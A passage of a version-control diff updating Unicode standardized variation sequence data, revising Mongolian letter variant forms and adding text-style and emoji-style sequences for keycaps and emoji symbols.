MONGOLIAN LETTER SA -1832 180B; second form; medial # MONGOLIAN LETTER TA +1832 180B; second form; medial # MONGOLIAN LETTER TA 1833 180B; second form; initial medial final # MONGOLIAN LETTER DA 1835 180B; second form; medial # MONGOLIAN LETTER JA -1836 180B; second form; initial medial # MONGOLIAN LETTER YA +1836 180B; second form; initial medial # # MONGOLIAN LETTER YA 1836 180C; third form; medial # MONGOLIAN LETTER YA 1838 180B; second form; final # MONGOLIAN LETTER WA 1844 180B; second form; medial # MONGOLIAN LETTER TODO E -1845 180B; second form; medial # MONGOLIAN LETTER TODO I +1845 180B; second form; medial # MONGOLIAN LETTER TODO I 1846 180B; second form; medial # MONGOLIAN LETTER TODO O 1847 180B; second form; isolate medial final # MONGOLIAN LETTER TODO U 1847 180C; third form; medial # MONGOLIAN LETTER TODO U 1848 180B; second form; medial # MONGOLIAN LETTER TODO OE 1849 180B; second form; isolate medial # MONGOLIAN LETTER TODO UE -184D 180B; second form; initial medial # MONGOLIAN LETTER TODO QA +184D 180B; feminine form; initial medial # MONGOLIAN LETTER TODO QA 184E 180B; second form; medial # MONGOLIAN LETTER TODO GA 185D 180B; second form; medial final # MONGOLIAN LETTER SIBE E 185E 180B; second form; medial final # MONGOLIAN LETTER SIBE I @@ -174,18 +167,536 @@ A868 FE00; phags-pa letter reversed shaping subjoined ya; # PHAGS-PA SUBJOINED L 1873 180B; second form; medial final # MONGOLIAN LETTER MANCHU I 1873 180C; third form; medial final # MONGOLIAN LETTER MANCHU I 1873 180D; fourth form; medial # MONGOLIAN LETTER MANCHU I -1874 180B; second form; medial final # MONGOLIAN LETTER MANCHU KA -1874 180C; third form; medial final # MONGOLIAN LETTER MANCHU KA -1874 180D; fourth form; medial # MONGOLIAN LETTER MANCHU KA +1874 180B; second form; medial # MONGOLIAN LETTER MANCHU KA +1874 180B; feminine first final form; final # MONGOLIAN LETTER MANCHU KA +1874 180C; feminine first medial form; medial # MONGOLIAN LETTER MANCHU KA +1874 180C; feminine second final form; final # MONGOLIAN LETTER MANCHU KA +1874 180D; feminine second medial form; medial # MONGOLIAN LETTER MANCHU KA 1876 180B; second form; initial medial # MONGOLIAN LETTER MANCHU FA 1880 180B; second form; # MONGOLIAN LETTER ALI GALI ANUSVARA ONE 1881 180B; second form; # MONGOLIAN LETTER ALI GALI VISARGA ONE 1887 180B; second form; isolate final # MONGOLIAN LETTER ALI GALI A 1887 180C; third form; final # MONGOLIAN LETTER ALI GALI A 1887 180D; fourth form; final # MONGOLIAN LETTER ALI GALI A -1888 180B; second form; final # MONGOLIAN LETTER ALI GALI I +1888 180B; second form; final # MONGOLIAN LETTER ALI GALI I 188A 180B; second form; initial medial # MONGOLIAN LETTER ALI GALI NGA +# Emoji variation sequences for use as part of keycap symbols + +0023 FE0E; text style; # NUMBER SIGN +0023 FE0F; emoji style; # NUMBER SIGN +002A FE0E; text style; # ASTERISK +002A FE0F; emoji style; # ASTERISK +0030 FE0E; text style; # DIGIT ZERO +0030 FE0F; emoji style; # DIGIT ZERO +0031 FE0E; text style; # DIGIT ONE +0031 FE0F; emoji style; # DIGIT ONE +0032 FE0E; text style; # DIGIT TWO +0032 FE0F; emoji style; # DIGIT TWO +0033 FE0E; text style; # DIGIT THREE +0033 FE0F; emoji style; # DIGIT THREE +0034 FE0E; text style; # DIGIT FOUR +0034 FE0F; emoji style; # DIGIT FOUR +0035 FE0E; text style; # DIGIT FIVE +0035 FE0F; emoji style; # DIGIT FIVE +0036 FE0E; text style; # DIGIT SIX +0036 FE0F; emoji style; # DIGIT SIX +0037 FE0E; text style; # DIGIT SEVEN +0037 FE0F; emoji style; # DIGIT SEVEN +0038 FE0E; text style; # DIGIT EIGHT +0038 FE0F; emoji style; # DIGIT EIGHT +0039 FE0E; text style; # DIGIT NINE +0039 FE0F; emoji style; # DIGIT NINE + +# Emoji variation sequences + +00A9 FE0E; text style; # COPYRIGHT SIGN +00A9 FE0F; emoji style; # COPYRIGHT SIGN +00AE FE0E; text style; # REGISTERED SIGN +00AE FE0F; emoji style; # REGISTERED SIGN +203C FE0E; text style; # DOUBLE EXCLAMATION MARK +203C FE0F; emoji style; # DOUBLE EXCLAMATION MARK +2049 FE0E; text style; # EXCLAMATION QUESTION MARK +2049 FE0F; emoji style; # EXCLAMATION QUESTION MARK +2122 FE0E; text style; # TRADE MARK SIGN +2122 FE0F; emoji style; # TRADE MARK SIGN +2139 FE0E; text style; # INFORMATION SOURCE +2139 FE0F; emoji style; # INFORMATION SOURCE +2194 FE0E; text style; # LEFT RIGHT ARROW +2194 FE0F; emoji style; # LEFT RIGHT ARROW +2195 FE0E; text style; # UP DOWN ARROW +2195 FE0F; emoji style; # UP DOWN ARROW +2196 FE0E; text style; # NORTH WEST ARROW +2196 FE0F; emoji style; # NORTH WEST ARROW +2197 FE0E; text style; # NORTH EAST ARROW +2197 FE0F; emoji style; # NORTH EAST ARROW +2198 FE0E; text style; # SOUTH EAST ARROW +2198 FE0F; emoji style; # SOUTH EAST ARROW +2199 FE0E; text style; # SOUTH WEST ARROW +2199 FE0F; emoji style; # SOUTH WEST ARROW +21A9 FE0E; text style; # LEFTWARDS ARROW WITH HOOK +21A9 FE0F; emoji style; # LEFTWARDS ARROW WITH HOOK +21AA FE0E; text style; # RIGHTWARDS ARROW WITH HOOK +21AA FE0F; emoji style; # RIGHTWARDS ARROW WITH HOOK +231A FE0E; text style; # WATCH +231A FE0F; emoji style; # WATCH +231B FE0E; text style; # HOURGLASS +231B FE0F; emoji style; # HOURGLASS +2328 FE0E; text style; # KEYBOARD +2328 FE0F; emoji style; # KEYBOARD +23CF FE0E; text style; # EJECT SYMBOL +23CF FE0F; emoji style; # EJECT SYMBOL +23ED FE0E; text style; # BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR +23ED FE0F; emoji style; # BLACK RIGHT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR +23EE FE0E; text style; # BLACK LEFT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR +23EE FE0F; emoji style; # BLACK LEFT-POINTING DOUBLE TRIANGLE WITH VERTICAL BAR +23EF FE0E; text style; # BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR +23EF FE0F; emoji style; # BLACK RIGHT-POINTING TRIANGLE WITH DOUBLE VERTICAL BAR +23F1 FE0E; text style; # STOPWATCH +23F1 FE0F; emoji style; # STOPWATCH +23F2 FE0E; text style; # TIMER CLOCK +23F2 FE0F; emoji style; # TIMER CLOCK +23F8 FE0E; text style; # DOUBLE VERTICAL BAR +23F8 FE0F; emoji style; # DOUBLE VERTICAL BAR +23F9 FE0E; text style; # BLACK SQUARE FOR STOP +23F9 FE0F; emoji style; # BLACK SQUARE FOR STOP +23FA FE0E; text style; # BLACK CIRCLE FOR RECORD +23FA FE0F; emoji style; # BLACK CIRCLE FOR RECORD +24C2 FE0E; text style; # CIRCLED LATIN CAPITAL LETTER M +24C2 FE0F; emoji style; # CIRCLED LATIN CAPITAL LETTER M +25AA FE0E; text style; # BLACK SMALL SQUARE +25AA FE0F; emoji style; # BLACK SMALL SQUARE +25AB FE0E; text style; # WHITE SMALL SQUARE +25AB FE0F; emoji style; # WHITE SMALL SQUARE +25B6 FE0E; text style; # BLACK RIGHT-POINTING TRIANGLE +25B6 FE0F; emoji style; # BLACK RIGHT-POINTING TRIANGLE +25C0 FE0E; text style; # BLACK LEFT-POINTING TRIANGLE +25C0 FE0F; emoji style; # BLACK LEFT-POINTING TRIANGLE +25FB FE0E; text style; # WHITE MEDIUM SQUARE +25FB FE0F; emoji style; # WHITE MEDIUM SQUARE +25FC FE0E; text style; # BLACK MEDIUM SQUARE +25FC FE0F; emoji style; # BLACK MEDIUM SQUARE +25FD FE0E; text style; # WHITE MEDIUM SMALL SQUARE +25FD FE0F; emoji style; # WHITE MEDIUM SMALL SQUARE +25FE FE0E; text style; # BLACK MEDIUM SMALL SQUARE +25FE FE0F; emoji style; # BLACK MEDIUM SMALL SQUARE +2600 FE0E; text style; # BLACK SUN WITH RAYS +2600 FE0F; emoji style; # BLACK SUN WITH RAYS +2601 FE0E; text style; # CLOUD +2601 FE0F; emoji style; # CLOUD +2602 FE0E; text style; # UMBRELLA +2602 FE0F; emoji style; # UMBRELLA +2603 FE0E; text style; # SNOWMAN +2603 FE0F; emoji style; # SNOWMAN +2604 FE0E; text style; # COMET +2604 FE0F; emoji style; # COMET +260E FE0E; text style; # BLACK TELEPHONE +260E FE0F; emoji style; # BLACK TELEPHONE +2611 FE0E; text style; # BALLOT BOX WITH CHECK +2611 FE0F; emoji style; # BALLOT BOX WITH CHECK +2614 FE0E; text style; # UMBRELLA WITH RAIN DROPS +2614 FE0F; emoji style; # UMBRELLA WITH RAIN DROPS +2615 FE0E; text style; # HOT BEVERAGE +2615 FE0F; emoji style; # HOT BEVERAGE +2618 FE0E; text style; # SHAMROCK +2618 FE0F; emoji style; # SHAMROCK +261D FE0E; text style; # WHITE UP POINTING INDEX +261D FE0F; emoji style; # WHITE UP POINTING INDEX +2620 FE0E; text style; # SKULL AND CROSSBONES +2620 FE0F; emoji style; # SKULL AND CROSSBONES +2622 FE0E; text style; # RADIOACTIVE SIGN +2622 FE0F; emoji style; # RADIOACTIVE SIGN +2623 FE0E; text style; # BIOHAZARD SIGN +2623 FE0F; emoji style; # BIOHAZARD SIGN +2626 FE0E; text style; # ORTHODOX CROSS +2626 FE0F; emoji style; # ORTHODOX CROSS +262A FE0E; text style; # STAR AND CRESCENT +262A FE0F; emoji style; # STAR AND CRESCENT +262E FE0E; text style; # PEACE SYMBOL +262E FE0F; emoji style; # PEACE SYMBOL +262F FE0E; text style; # YIN YANG +262F FE0F; emoji style; # YIN YANG +2638 FE0E; text style; # WHEEL OF DHARMA +2638 FE0F; emoji style; # WHEEL OF DHARMA +2639 FE0E; text style; # WHITE FROWNING FACE +2639 FE0F; emoji style; # WHITE FROWNING FACE +263A FE0E; text style; # WHITE SMILING FACE +263A FE0F; emoji style; # WHITE SMILING FACE +2648 FE0E; text style; # ARIES +2648 FE0F; emoji style; # ARIES +2649 FE0E; text style; # TAURUS +2649 FE0F; emoji style; # TAURUS +264A FE0E; text style; # GEMINI +264A FE0F; emoji style; # GEMINI +264B FE0E; text style; # CANCER +264B FE0F; emoji style; # CANCER +264C FE0E; text style; # LEO +264C FE0F; emoji style; # LEO +264D FE0E; text style; # VIRGO +264D FE0F; emoji style; # VIRGO +264E FE0E; text style; # LIBRA +264E FE0F; emoji style; # LIBRA +264F FE0E; text style; # SCORPIUS +264F FE0F; emoji style; # SCORPIUS +2650 FE0E; text style; # SAGITTARIUS +2650 FE0F; emoji style; # SAGITTARIUS +2651 FE0E; text style; # CAPRICORN +2651 FE0F; emoji style; # CAPRICORN +2652 FE0E; text style; # AQUARIUS +2652 FE0F; emoji style; # AQUARIUS +2653 FE0E; text style; # PISCES +2653 FE0F; emoji style; # PISCES +2660 FE0E; text style; # BLACK SPADE SUIT +2660 FE0F; emoji style; # BLACK SPADE SUIT +2663 FE0E; text style; # BLACK CLUB SUIT +2663 FE0F; emoji style; # BLACK CLUB SUIT +2665 FE0E; text style; # BLACK HEART SUIT +2665 FE0F; emoji style; # BLACK HEART SUIT +2666 FE0E; text style; # BLACK DIAMOND SUIT +2666 FE0F; emoji style; # BLACK DIAMOND SUIT +2668 FE0E; text style; # HOT SPRINGS +2668 FE0F; emoji style; # HOT SPRINGS +267B FE0E; text style; # BLACK UNIVERSAL RECYCLING SYMBOL +267B FE0F; emoji style; # BLACK UNIVERSAL RECYCLING SYMBOL +267F FE0E; text style; # WHEELCHAIR SYMBOL +267F FE0F; emoji style; # WHEELCHAIR SYMBOL +2692 FE0E; text style; # HAMMER AND PICK +2692 FE0F; emoji style; # HAMMER AND PICK +2693 FE0E; text style; # ANCHOR +2693 FE0F; emoji style; # ANCHOR +2694 FE0E; text style; # CROSSED SWORDS +2694 FE0F; emoji style; # CROSSED SWORDS +2696 FE0E; text style; # SCALES +2696 FE0F; emoji style; # SCALES +2697 FE0E; text style; # ALEMBIC +2697 FE0F; emoji style; # ALEMBIC +2699 FE0E; text style; # GEAR +2699 FE0F; emoji style; # GEAR +269B FE0E; text style; # ATOM SYMBOL +269B FE0F; emoji style; # ATOM SYMBOL +269C FE0E; text style; # FLEUR-DE-LIS +269C FE0F; emoji style; # FLEUR-DE-LIS +26A0 FE0E; text style; # WARNING SIGN +26A0 FE0F; emoji style; # WARNING SIGN +26A1 FE0E; text style; # HIGH VOLTAGE SIGN +26A1 FE0F; emoji style; # HIGH VOLTAGE SIGN +26AA FE0E; text style; # MEDIUM WHITE CIRCLE +26AA FE0F; emoji style; # MEDIUM WHITE CIRCLE +26AB FE0E; text style; # MEDIUM BLACK CIRCLE +26AB FE0F; emoji style; # MEDIUM BLACK CIRCLE +26B0 FE0E; text style; # COFFIN +26B0 FE0F; emoji style; # COFFIN +26B1 FE0E; text style; # FUNERAL URN +26B1 FE0F; emoji style; # FUNERAL URN +26BD FE0E; text style; # SOCCER BALL +26BD FE0F; emoji style; # SOCCER BALL +26BE FE0E; text style; # BASEBALL +26BE FE0F; emoji style; # BASEBALL +26C4 FE0E; text style; # SNOWMAN WITHOUT SNOW +26C4 FE0F; emoji style; # SNOWMAN WITHOUT SNOW +26C5 FE0E; text style; # SUN BEHIND CLOUD +26C5 FE0F; emoji style; # SUN BEHIND CLOUD +26C8 FE0E; text style; # THUNDER CLOUD AND RAIN +26C8 FE0F; emoji style; # THUNDER CLOUD AND RAIN +26CF FE0E; text style; # PICK +26CF FE0F; emoji style; # PICK +26D1 FE0E; text style; # HELMET WITH WHITE CROSS +26D1 FE0F; emoji style; # HELMET WITH WHITE CROSS +26D3 FE0E; text style; # CHAINS +26D3 FE0F; emoji style; # CHAINS +26D4 FE0E; text style; # NO ENTRY +26D4 FE0F; emoji style; # NO ENTRY +26E9 FE0E; text style; # SHINTO SHRINE +26E9 FE0F; emoji style; # SHINTO SHRINE +26EA FE0E; text style; # CHURCH +26EA FE0F; emoji style; # CHURCH +26F0 FE0E; text style; # MOUNTAIN +26F0 FE0F; emoji style; # MOUNTAIN +26F1 FE0E; text style; # UMBRELLA ON GROUND +26F1 FE0F; emoji style; # UMBRELLA ON GROUND +26F2 FE0E; text style; # FOUNTAIN +26F2 FE0F; emoji style; # FOUNTAIN +26F3 FE0E; text style; # FLAG IN HOLE +26F3 FE0F; emoji style; # FLAG IN HOLE +26F4 FE0E; text style; # FERRY +26F4 FE0F; emoji style; # FERRY +26F5 FE0E; text style; # SAILBOAT +26F5 FE0F; emoji style; # SAILBOAT +26F7 FE0E; text style; # SKIER +26F7 FE0F; emoji style; # SKIER +26F8 FE0E; text style; # ICE SKATE +26F8 FE0F; emoji style; # ICE SKATE +26F9 FE0E; text style; # PERSON WITH BALL +26F9 FE0F; emoji style; # PERSON WITH BALL +26FA FE0E; text style; # TENT +26FA FE0F; emoji style; # TENT +26FD FE0E; text style; # FUEL PUMP +26FD FE0F; emoji style; # FUEL PUMP +2702 FE0E; text style; # BLACK SCISSORS +2702 FE0F; emoji style; # BLACK SCISSORS +2708 FE0E; text style; # AIRPLANE +2708 FE0F; emoji style; # AIRPLANE +2709 FE0E; text style; # ENVELOPE +2709 FE0F; emoji style; # ENVELOPE +270C FE0E; text style; # VICTORY HAND +270C FE0F; emoji style; # VICTORY HAND +270D FE0E; text style; # WRITING HAND +270D FE0F; emoji style; # WRITING HAND +270F FE0E; text style; # PENCIL +270F FE0F; emoji style; # PENCIL +2712 FE0E; text style; # BLACK NIB +2712 FE0F; emoji style; # BLACK NIB +2714 FE0E; text style; # HEAVY CHECK MARK +2714 FE0F; emoji style; # HEAVY CHECK MARK +2716 FE0E; text style; # HEAVY MULTIPLICATION X +2716 FE0F; emoji style; # HEAVY MULTIPLICATION X +271D FE0E; text style; # LATIN CROSS +271D FE0F; emoji style; # LATIN CROSS +2721 FE0E; text style; # STAR OF DAVID +2721 FE0F; emoji style; # STAR OF DAVID +2733 FE0E; text style; # EIGHT SPOKED ASTERISK +2733 FE0F; emoji style; # EIGHT SPOKED ASTERISK +2734 FE0E; text style; # EIGHT POINTED BLACK STAR +2734 FE0F; emoji style; # EIGHT POINTED BLACK STAR +2744 FE0E; text style; # SNOWFLAKE +2744 FE0F; emoji style; # SNOWFLAKE +2747 FE0E; text style; # SPARKLE +2747 FE0F; emoji style; # SPARKLE +2757 FE0E; text style; # HEAVY EXCLAMATION MARK SYMBOL +2757 FE0F; emoji style; # HEAVY EXCLAMATION MARK SYMBOL +2763 FE0E; text style; # HEAVY HEART EXCLAMATION MARK ORNAMENT +2763 FE0F; emoji style; # HEAVY HEART EXCLAMATION MARK ORNAMENT +2764 FE0E; text style; # HEAVY BLACK HEART +2764 FE0F; emoji style; # HEAVY BLACK HEART +27A1 FE0E; text style; # BLACK RIGHTWARDS ARROW +27A1 FE0F; emoji style; # BLACK RIGHTWARDS ARROW +2934 FE0E; text style; # ARROW POINTING RIGHTWARDS THEN CURVING UPWARDS +2934 FE0F; emoji style; # ARROW POINTING RIGHTWARDS THEN CURVING UPWARDS +2935 FE0E; text style; # ARROW POINTING RIGHTWARDS THEN CURVING DOWNWARDS +2935 FE0F; emoji style; # ARROW POINTING RIGHTWARDS THEN CURVING DOWNWARDS +2B05 FE0E; text style; # LEFTWARDS BLACK ARROW +2B05 FE0F; emoji style; # LEFTWARDS BLACK ARROW +2B06 FE0E; text style; # UPWARDS BLACK ARROW +2B06 FE0F; emoji style; # UPWARDS BLACK ARROW +2B07 FE0E; text style; # DOWNWARDS BLACK ARROW +2B07 FE0F; emoji style; # DOWNWARDS BLACK ARROW +2B1B FE0E; text style; # BLACK LARGE SQUARE +2B1B FE0F; emoji style; # BLACK LARGE SQUARE +2B1C FE0E; text style; # WHITE LARGE SQUARE +2B1C FE0F; emoji style; # WHITE LARGE SQUARE +2B50 FE0E; text style; # WHITE MEDIUM STAR +2B50 FE0F; emoji style; # WHITE MEDIUM STAR +2B55 FE0E; text style; # HEAVY LARGE CIRCLE +2B55 FE0F; emoji style; # HEAVY LARGE CIRCLE +3030 FE0E; text style; # WAVY DASH +3030 FE0F; emoji style; # WAVY DASH +303D FE0E; text style; # PART ALTERNATION MARK +303D FE0F; emoji style; # PART ALTERNATION MARK +3297 FE0E; text style; # CIRCLED IDEOGRAPH CONGRATULATION +3297 FE0F; emoji style; # CIRCLED IDEOGRAPH CONGRATULATION +3299 FE0E; text style; # CIRCLED IDEOGRAPH SECRET +3299 FE0F; emoji style; # CIRCLED IDEOGRAPH SECRET +1F004 FE0E; text style; # MAHJONG TILE RED DRAGON +1F004 FE0F; emoji style; # MAHJONG TILE RED DRAGON +1F170 FE0E; text style; # NEGATIVE SQUARED LATIN CAPITAL LETTER A +1F170 FE0F; emoji style; # NEGATIVE SQUARED LATIN CAPITAL LETTER A +1F171 FE0E; text style; # NEGATIVE SQUARED LATIN CAPITAL LETTER B +1F171 FE0F; emoji style; # NEGATIVE SQUARED LATIN CAPITAL LETTER B +1F17E FE0E; text style; # NEGATIVE SQUARED LATIN CAPITAL LETTER O +1F17E FE0F; emoji style; # NEGATIVE SQUARED LATIN CAPITAL LETTER O +1F17F FE0E; text style; # NEGATIVE SQUARED LATIN CAPITAL LETTER P +1F17F FE0F; emoji style; # NEGATIVE SQUARED LATIN CAPITAL LETTER P +1F202 FE0E; text style; # SQUARED KATAKANA SA +1F202 FE0F; emoji style; # SQUARED KATAKANA SA +1F21A FE0E; text style; # SQUARED CJK UNIFIED IDEOGRAPH-7121 +1F21A FE0F; emoji style; # SQUARED CJK UNIFIED IDEOGRAPH-7121 +1F22F FE0E; text style; # SQUARED CJK UNIFIED IDEOGRAPH-6307 +1F22F FE0F; emoji style; # SQUARED CJK UNIFIED IDEOGRAPH-6307 +1F237 FE0E; text style; # SQUARED CJK UNIFIED IDEOGRAPH-6708 +1F237 FE0F; emoji style; # SQUARED CJK UNIFIED IDEOGRAPH-6708 +1F321 FE0E; text style; # THERMOMETER +1F321 FE0F; emoji style; # THERMOMETER +1F324 FE0E; text style; # WHITE SUN WITH SMALL CLOUD +1F324 FE0F; emoji style; # WHITE SUN WITH SMALL CLOUD +1F325 FE0E; text style; # WHITE SUN BEHIND CLOUD +1F325 FE0F; emoji style; # WHITE SUN BEHIND CLOUD +1F326 FE0E; text style; # WHITE SUN BEHIND CLOUD WITH RAIN +1F326 FE0F; emoji style; # WHITE SUN BEHIND CLOUD WITH RAIN +1F327 FE0E; text style; # CLOUD WITH RAIN +1F327 FE0F; emoji style; # CLOUD WITH RAIN +1F328 FE0E; text style; # CLOUD WITH SNOW +1F328 FE0F; emoji style; # CLOUD WITH SNOW +1F329 FE0E; text style; # CLOUD WITH LIGHTNING +1F329 FE0F; emoji style; # CLOUD WITH LIGHTNING +1F32A FE0E; text style; # CLOUD WITH TORNADO +1F32A FE0F; emoji style; # CLOUD WITH TORNADO +1F32B FE0E; text style; # FOG +1F32B FE0F; emoji style; # FOG +1F32C FE0E; text style; # WIND BLOWING FACE +1F32C FE0F; emoji style; # WIND BLOWING FACE +1F336 FE0E; text style; # HOT PEPPER +1F336 FE0F; emoji style; # HOT PEPPER +1F37D FE0E; text style; # FORK AND KNIFE WITH PLATE +1F37D FE0F; emoji style; # FORK AND KNIFE WITH PLATE +1F396 FE0E; text style; # MILITARY MEDAL +1F396 FE0F; emoji style; # MILITARY MEDAL +1F397 FE0E; text style; # REMINDER RIBBON +1F397 FE0F; emoji style; # REMINDER RIBBON +1F399 FE0E; text style; # STUDIO MICROPHONE +1F399 FE0F; emoji style; # STUDIO MICROPHONE +1F39A FE0E; text style; # LEVEL SLIDER +1F39A FE0F; emoji style; # LEVEL SLIDER +1F39B FE0E; text style; # CONTROL KNOBS +1F39B FE0F; emoji style; # CONTROL KNOBS +1F39E FE0E; text style; # FILM FRAMES +1F39E FE0F; emoji style; # FILM FRAMES +1F39F FE0E; text style; # ADMISSION TICKETS +1F39F FE0F; emoji style; # ADMISSION TICKETS +1F3CB FE0E; text style; # WEIGHT LIFTER +1F3CB FE0F; emoji style; # WEIGHT LIFTER +1F3CC FE0E; text style; # GOLFER +1F3CC FE0F; emoji style; # GOLFER +1F3CD FE0E; text style; # RACING MOTORCYCLE +1F3CD FE0F; emoji style; # RACING MOTORCYCLE +1F3CE FE0E; text style; # RACING CAR +1F3CE FE0F; emoji style; # RACING CAR +1F3D4 FE0E; text style; # SNOW CAPPED MOUNTAIN +1F3D4 FE0F; emoji style; # SNOW CAPPED MOUNTAIN +1F3D5 FE0E; text style; # CAMPING +1F3D5 FE0F; emoji style; # CAMPING +1F3D6 FE0E; text style; # BEACH WITH UMBRELLA +1F3D6 FE0F; emoji style; # BEACH WITH UMBRELLA +1F3D7 FE0E; text style; # BUILDING CONSTRUCTION +1F3D7 FE0F; emoji style; # BUILDING CONSTRUCTION +1F3D8 FE0E; text style; # HOUSE BUILDINGS +1F3D8 FE0F; emoji style; # HOUSE BUILDINGS +1F3D9 FE0E; text style; # CITYSCAPE +1F3D9 FE0F; emoji style; # CITYSCAPE +1F3DA FE0E; text style; # DERELICT HOUSE BUILDING +1F3DA FE0F; emoji style; # DERELICT HOUSE BUILDING +1F3DB FE0E; text style; # CLASSICAL BUILDING +1F3DB FE0F; emoji style; # CLASSICAL BUILDING +1F3DC FE0E; text style; # DESERT +1F3DC FE0F; emoji style; # DESERT +1F3DD FE0E; text style; # DESERT ISLAND +1F3DD FE0F; emoji style; # DESERT ISLAND +1F3DE FE0E; text style; # NATIONAL PARK +1F3DE FE0F; emoji style; # NATIONAL PARK +1F3DF FE0E; text style; # STADIUM +1F3DF FE0F; emoji style; # STADIUM +1F3F3 FE0E; text style; # WAVING WHITE FLAG +1F3F3 FE0F; emoji style; # WAVING WHITE FLAG +1F3F5 FE0E; text style; # ROSETTE +1F3F5 FE0F; emoji style; # ROSETTE +1F3F7 FE0E; text style; # LABEL +1F3F7 FE0F; emoji style; # LABEL +1F43F FE0E; text style; # CHIPMUNK +1F43F FE0F; emoji style; # CHIPMUNK +1F441 FE0E; text style; # EYE +1F441 FE0F; emoji style; # EYE +1F4FD FE0E; text style; # FILM PROJECTOR +1F4FD FE0F; emoji style; # FILM PROJECTOR +1F549 FE0E; text style; # OM SYMBOL +1F549 FE0F; emoji style; # OM SYMBOL +1F54A FE0E; text style; # DOVE OF PEACE +1F54A FE0F; emoji style; # DOVE OF PEACE +1F56F FE0E; text style; # CANDLE +1F56F FE0F; emoji style; # CANDLE +1F570 FE0E; text style; # MANTELPIECE CLOCK +1F570 FE0F; emoji style; # MANTELPIECE CLOCK +1F573 FE0E; text style; # HOLE +1F573 FE0F; emoji style; # HOLE +1F574 FE0E; text style; # MAN IN BUSINESS SUIT LEVITATING +1F574 FE0F; emoji style; # MAN IN BUSINESS SUIT LEVITATING +1F575 FE0E; text style; # SLEUTH OR SPY +1F575 FE0F; emoji style; # SLEUTH OR SPY +1F576 FE0E; text style; # DARK SUNGLASSES +1F576 FE0F; emoji style; # DARK SUNGLASSES +1F577 FE0E; text style; # SPIDER +1F577 FE0F; emoji style; # SPIDER +1F578 FE0E; text style; # SPIDER WEB +1F578 FE0F; emoji style; # SPIDER WEB +1F579 FE0E; text style; # JOYSTICK +1F579 FE0F; emoji style; # JOYSTICK +1F587 FE0E; text style; # LINKED PAPERCLIPS +1F587 FE0F; emoji style; # LINKED PAPERCLIPS +1F58A FE0E; text style; # LOWER LEFT BALLPOINT PEN +1F58A FE0F; emoji style; # LOWER LEFT BALLPOINT PEN +1F58B FE0E; text style; # LOWER LEFT FOUNTAIN PEN +1F58B FE0F; emoji style; # LOWER LEFT FOUNTAIN PEN +1F58C FE0E; text style; # LOWER LEFT PAINTBRUSH +1F58C FE0F; emoji style; # LOWER LEFT PAINTBRUSH +1F58D FE0E; text style; # LOWER LEFT CRAYON +1F58D FE0F; emoji style; # LOWER LEFT CRAYON +1F590 FE0E; text style; # RAISED HAND WITH FINGERS SPLAYED +1F590 FE0F; emoji style; # RAISED HAND WITH FINGERS SPLAYED +1F5A5 FE0E; text style; # DESKTOP COMPUTER +1F5A5 FE0F; emoji style; # DESKTOP COMPUTER +1F5A8 FE0E; text style; # PRINTER +1F5A8 FE0F; emoji style; # PRINTER +1F5B1 FE0E; text style; # THREE BUTTON MOUSE +1F5B1 FE0F; emoji style; # THREE BUTTON MOUSE +1F5B2 FE0E; text style; # TRACKBALL +1F5B2 FE0F; emoji style; # TRACKBALL +1F5BC FE0E; text style; # FRAME WITH PICTURE +1F5BC FE0F; emoji style; # FRAME WITH PICTURE +1F5C2 FE0E; text style; # CARD INDEX DIVIDERS +1F5C2 FE0F; emoji style; # CARD INDEX DIVIDERS +1F5C3 FE0E; text style; # CARD FILE BOX +1F5C3 FE0F; emoji style; # CARD FILE BOX +1F5C4 FE0E; text style; # FILE CABINET +1F5C4 FE0F; emoji style; # FILE CABINET +1F5D1 FE0E; text style; # WASTEBASKET +1F5D1 FE0F; emoji style; # WASTEBASKET +1F5D2 FE0E; text style; # SPIRAL NOTE PAD +1F5D2 FE0F; emoji style; # SPIRAL NOTE PAD +1F5D3 FE0E; text style; # SPIRAL CALENDAR PAD +1F5D3 FE0F; emoji style; # SPIRAL CALENDAR PAD +1F5DC FE0E; text style; # COMPRESSION +1F5DC FE0F; emoji style; # COMPRESSION +1F5DD FE0E; text style; # OLD KEY +1F5DD FE0F; emoji style; # OLD KEY +1F5DE FE0E; text style; # ROLLED-UP NEWSPAPER +1F5DE FE0F; emoji style; # ROLLED-UP NEWSPAPER +1F5E1 FE0E; text style; # DAGGER KNIFE +1F5E1 FE0F; emoji style; # DAGGER KNIFE +1F5E3 FE0E; text style; # SPEAKING HEAD IN SILHOUETTE +1F5E3 FE0F; emoji style; # SPEAKING HEAD IN SILHOUETTE +1F5E8 FE0E; text style; # LEFT SPEECH BUBBLE +1F5E8 FE0F; emoji style; # LEFT SPEECH BUBBLE +1F5EF FE0E; text style; # RIGHT ANGER BUBBLE +1F5EF FE0F; emoji style; # RIGHT ANGER BUBBLE +1F5F3 FE0E; text style; # BALLOT BOX WITH BALLOT +1F5F3 FE0F; emoji style; # BALLOT BOX WITH BALLOT +1F5FA FE0E; text style; # WORLD MAP +1F5FA FE0F; emoji style; # WORLD MAP +1F6CB FE0E; text style; # COUCH AND LAMP +1F6CB FE0F; emoji style; # COUCH AND LAMP +1F6CD FE0E; text style; # SHOPPING BAGS +1F6CD FE0F; emoji style; # SHOPPING BAGS +1F6CE FE0E; text style; # BELLHOP BELL +1F6CE FE0F; emoji style; # BELLHOP BELL +1F6CF FE0E; text style; # BED +1F6CF FE0F; emoji style; # BED +1F6E0 FE0E; text style; # HAMMER AND WRENCH +1F6E0 FE0F; emoji style; # HAMMER AND WRENCH +1F6E1 FE0E; text style; # SHIELD +1F6E1 FE0F; emoji style; # SHIELD +1F6E2 FE0E; text style; # OIL DRUM +1F6E2 FE0F; emoji style; # OIL DRUM +1F6E3 FE0E; text style; # MOTORWAY +1F6E3 FE0F; emoji style; # MOTORWAY +1F6E4 FE0E; text style; # RAILWAY TRACK +1F6E4 FE0F; emoji style; # RAILWAY TRACK +1F6E5 FE0E; text style; # MOTOR BOAT +1F6E5 FE0F; emoji style; # MOTOR BOAT +1F6E9 FE0E; text style; # SMALL AIRPLANE +1F6E9 FE0F; emoji style; # SMALL AIRPLANE +1F6F0 FE0E; text style; # SATELLITE +1F6F0 FE0F; emoji style; # SATELLITE +1F6F3 FE0E; text style; # PASSENGER SHIP +1F6F3 FE0F; emoji style; # PASSENGER SHIP + # CJK compatibility ideographs # Note: In the entries for CJK compatibility ideographs, field 1 diff --git a/lib/unicore/UnicodeData.txt b/lib/unicore/UnicodeData.txt index 